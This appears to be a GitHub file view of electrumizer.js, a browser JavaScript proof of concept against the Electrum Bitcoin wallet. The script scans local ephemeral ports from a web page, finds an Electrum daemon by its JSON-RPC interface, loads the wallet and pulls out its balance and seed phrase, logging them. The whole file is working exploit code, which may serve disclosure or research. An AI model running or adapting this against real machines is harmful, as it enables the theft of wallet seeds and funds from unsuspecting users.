-
Notifications
You must be signed in to change notification settings - Fork 2
/
electrumizer.js
153 lines (134 loc) · 4.23 KB
/
electrumizer.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
///////////////////////////////////////////////////////////////////////////////
// Local port scanning
const scanLocalPort = async (port, timeout) => {
return new Promise((resolve, reject) => {
const xhr = new XMLHttpRequest();
xhr.open('GET', `http://127.0.0.1:${port}`);
xhr.timeout = timeout;
xhr.onload = () => {
resolve(true);
};
xhr.onerror = () => {
resolve(false);
};
xhr.ontimeout = () => {
resolve(false);
};
xhr.send();
});
};
const scanLocalPortsBatch = async (startPort, count, timeout) => {
console.log(`Scanning local ports ${startPort}-${startPort+count-1}`)
const promises = [];
for (let i = 0; i < count; ++i) {
promises.push(scanLocalPort(startPort + i, timeout));
}
return Promise.all(promises).then(results => {
const listeningPorts = [];
for (let i = 0; i < count; ++i) {
if (results[i]) {
listeningPorts.push(startPort + i);
}
}
return listeningPorts;
});
};
const scanLocalPorts = async (startPort, endPort, maxBatchSize, timeout) => {
let listeningPorts = [];
for (let port = minPort; port <= maxPort; port += maxBatchSize) {
const listeningPortsInBatch = await scanLocalPortsBatch(port, Math.min(maxPort-port + 1, maxBatchSize), timeout);
listeningPorts = listeningPorts.concat(listeningPortsInBatch)
}
return listeningPorts;
};
///////////////////////////////////////////////////////////////////////////////
// Electrum exploit
const post = async ({url, headers, body, timeout}) => {
return new Promise((resolve, reject) => {
const xhr = new XMLHttpRequest();
xhr.open('POST', url);
xhr.timeout = timeout;
xhr.onload = () => {
if (xhr.status >= 200 && xhr.status < 300) {
resolve(xhr.responseText);
} else {
reject({
status: xhr.status,
statusText: xhr.statusText
});
}
};
xhr.onerror = () => {
reject({
status: xhr.status,
statusText: xhr.statusText
});
};
xhr.ontimeout = () => {
reject({
status: xhr.status,
statusText: xhr.statusText
});
};
Object.keys(headers).forEach(key => {
xhr.setRequestHeader(key, headers[key]);
});
xhr.send(body);
});
};
const localJsonRpc = async (port, method, params) => {
return post({
url: `http://127.0.0.1:${port}`,
headers: {
'accept': 'application/json-rpc',
'content-type': 'application/json-rpc'
},
body: JSON.stringify({
id: 1,
method,
params
}),
timeout: 1000
}).then(responseText => {
const response = JSON.parse(responseText);
return response.result;
});
};
const getElectrumVersion = async (port) => {
console.log(`Looking for Electrum on port ${port}`);
try {
return await localJsonRpc(port, 'version', {});
} catch(e) {
return null;
}
};
const electrumize = async (port) => {
console.log(`[${port}] Loading wallet`);
await localJsonRpc(port, 'daemon', [{subcommand: 'load_wallet'}]);
console.log(`[${port}] Getting balance`);
const balance = await localJsonRpc(port, 'getbalance', {}).confirmed || 0;
console.log(`[${port}] Getting seed`);
const seed = await localJsonRpc(port, 'getseed', {});
console.log(`[${port}] balance = ${balance}, seed = ${seed}`);
};
///////////////////////////////////////////////////////////////////////////////
// Main
// Magic values based on trial and error on Chrome
const portsBatchSize = 100;
const timeout = 500;
// See https://en.wikipedia.org/wiki/Ephemeral_port
const minPort = 49152;
const maxPort = 65535;
const main = async () => {
const listeningPorts = await scanLocalPorts(minPort, maxPort, portsBatchSize, timeout);
console.log(`Found ${listeningPorts.length} local listening ports: ${listeningPorts}`);
for (let i = 0; i < listeningPorts.length; ++i) {
const port = listeningPorts[i];
const version = await getElectrumVersion(port);
if (version) {
console.log(`Found Electrum version ${version} on port ${port}`);
await electrumize(port);
}
}
};
main().then(() => console.log('done'));